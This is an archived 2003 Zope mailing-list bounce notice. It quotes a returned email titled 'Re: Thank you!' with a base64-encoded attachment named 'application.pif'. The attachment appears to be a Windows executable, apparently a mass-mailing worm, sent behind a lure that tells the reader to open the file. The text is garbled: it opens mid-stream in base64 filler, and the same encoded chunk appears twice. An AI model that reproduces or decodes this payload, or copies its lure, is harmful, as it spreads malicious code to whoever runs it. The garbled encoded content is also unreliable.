AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 From Mailer-Daemon at mx2.mail.uk.easynet.net Thu Aug 21 17:49:28 2003 From: Mailer-Daemon at mx2.mail.uk.easynet.net (Mail Delivery System) Date: Sat Aug 23 08:34:23 2003 Subject: [Zope] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: trevor@easynet.co.uk failed to lookup IP address for unlb-store.mail.uk.easynet.net: retry timeout exceeded ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from cpe250.clearpar.com ([12.109.168.132] helo=CPDEV20) by mx2.mail.uk.easynet.net with esmtp (Exim 4.20) id 19prHV-000PYu-1s for trevor@easynet.co.uk; Thu, 21 Aug 2003 16:23:21 +0100 From: To: Subject: Re: Thank you! Date: Thu, 21 Aug 2003 11:23:53 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0A48362A" Message-Id: This is a multipart message in MIME format --_NextPart_000_0A48362A Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_0A48362A Content-Type: application/octet-stream; name="application.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="application.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACchVndAcNB3 L7IthuqUttkbaI5toW/Ma9cREwXJr2bGKxWUSLB1PIIaS01RbFxQRCXoVDbDEpq4Yumyi65HRdpM 3Ga7gyB6TAfZ9GeKPkz/gNdHfQo5WyK6kk3e3416A+3AKPhtFhKaSZkYxFj6+M2xbjOVSCpPharh /VxSm4iVAk4yXUKq7H+ADGwboJC+fQm8+7jatvO6YUfFxxQOzfY8KTP4vt2InUxuuOl2cfiFELy0 IOsT73kycNOqH03/dY6FypJqffAfOkjFzUMhr8AqN9OCKt0p+TNW9bGP/Kp1XK6X4Iydu/Wy/xA0 A5Zpbl3Gl9/gKIkSvEhLlXfwGYKZSluuaTMQmbpJkKW7StxmyJ6O/fV9pclS8jV3oWub5MzdvI++ mMz3UMdA50acjuzsssWb5XknsOqtK2nhhDya2yRx3g+m84v73khc0k3eTce9rBtzSgflO9Df2PdF TLLYFS/62962HytiMp2UFAkMMby4jWvloU8xsUAp/4Ws/jc55M/xh5mwSb7B5AtSX9luSglcmPun VDvdKcYWznRbLRPadQ+V576YUs6FwBGGrYnr7cqYlLI9/9zwrfe9T0tMbFTdX2GmQfo7TrcECi9A E4FKW8Xf1+6VPSywyFUB8p5WIK+9r8vGPrArUMoLVGGUE5fSoJD+lBC5F7no0NbMS8uCvwJE63mz Ue83HBQ/ZZebwnFyAw28Q7HdqbesuEsMwzZ8rXY5sECSqEvV4ASt672pT5tM7Trvx/oeMN28Wuxm b2hNug230joQTwW3+T+ddoDMjh0cB79ICk6OJGC51nji89835vsL2YS+2dN19sIr43AwpO/uoFkm zyrLtskKndrZ6wRu0SXw+8FjB0wHUzm+cnBDUTxOuhclYnBPnss8CcpoGdo5Irpd0YvJggoecHOS biRPiLYSClcpS5n3yXohrWL1z/W94x72F3O0ji5Xe//NZnBDZkX45NuPf2/d/JXA1f7XCo8is0xR rzvrOYnfrr1pxDFCetHLOybka8fZJezgFrNUwaMR+YgTsaK7YCLSJhtXxN3cl0K80n5/nc7HQbAg 22OzUHWSshMG/0Z/Y3TrZQhe4dW+K+rLbVNPIAwvwLk5x5TTF9fsrDea9BXGevPQx/AKwsbdHZo1 fmYYRXzptJCrYTZ1zscYugWP+9RKTp83eAo9TPTEzkt+FCjJy5yPemVMRfAcizcv3LIAMoXoyx1z 